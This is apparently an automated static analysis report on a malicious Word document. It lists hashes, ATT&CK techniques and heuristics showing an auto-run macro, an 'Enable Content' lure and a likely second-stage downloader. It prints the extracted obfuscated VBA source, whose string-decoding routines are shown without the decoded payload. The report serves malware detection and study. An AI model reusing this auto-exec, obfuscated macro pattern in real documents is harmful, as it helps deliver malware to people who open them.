Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 25b0c6d9370673cb…

MALICIOUS

Office (OLE)

63.0 KB Created: 2018-10-04 16:16:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 4843647f32c94625724549d1e1ef8094 SHA-1: b9c4293c91bff2d28f6b4774627bd21918f27db8 SHA-256: 25b0c6d9370673cb5e9f2a2df43f5cbaee8fe5af3baa0a414fc109ca41826110
122 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing VBA macros. The Document_Open macro is configured to execute automatically when the document is opened, and it attempts to bypass security by instructing the user to 'Enable Editing' and 'Enable Content'. The VBA code appears to be obfuscated and truncated, but the presence of the Document_Open macro and the heuristic firings indicate it is designed to download and execute a second-stage payload.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1889 bytes
SHA-256: 6a847e54fc2e4c57e32dbcca6345b6986255569b196abbf52efdfc07b2301055
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Err = "1"
reportErr Err
Err = "2"

End Sub

Attribute VB_Name = "Module1"

Attribute VB_Name = "iter"
Public Sub reportErr(violating)
SIGUSR2.bit = violating
End Sub

Attribute VB_Name = "operand"
Public Sub padLen()
er = ""
each4 SIGUSR2.wl, er
SIGUSR2.isAddressOnStack = er
SIGUSR2.basepath = SIGUSR2.isAddressOnStack
End Sub

Attribute VB_Name = "Copyright"
Sub ANSI(callstackArray, distributed, ByRef fpSymGetLineFromAddr64)
fpSymGetLineFromAddr64 = Right(Left(callstackArray, distributed), 1)
End Sub

Sub each4(define, ByRef pSymFunctionTableAccess64)
pSymFunctionTableAccess64 = ""
wild = 1
GetExceptionInformation wild, pSymFunctionTableAccess64, define
End Sub

Sub GetExceptionInformation(ByRef If4, ByRef WITHOUT, in4)
our = Len(in4)
If If4 <= our Then
ar = ""
ANSI in4, If4, ar
cr = 1
consumed ar, cr
wr = ""
when cr - 2, wr
WITHOUT = WITHOUT + wr
If4 = If4 + 1
GetExceptionInformation If4, WITHOUT, in4
End If
End Sub

Sub when(L, ByRef wr)
wr = ""
If L < 1 Then
ANSI SIGUSR2.MINGW32, Len(SIGUSR2.MINGW32) + L, wr
Else
ANSI SIGUSR2.MINGW32, L, wr
End If
End Sub

Sub onlinepubs(ByRef let4, ByRef sigaltstack, LPSTACKFRAME64)
If let4 < Len(SIGUSR2.MINGW32) Then
    ar = ""
    ANSI SIGUSR2.MINGW32, let4, ar
    If LPSTACKFRAME64 <> ar Then
    let4 = let4 + 1
    onlinepubs let4, sigaltstack, LPSTACKFRAME64
    Else
    sigaltstack = let4
    End If
End If
End Sub

Sub consumed(LPSTACKFRAME64, ByRef sigaltstack)
let4 = 1
sigaltstack = 1
onlinepubs let4, sigaltstack, LPSTACKFRAME64
End Sub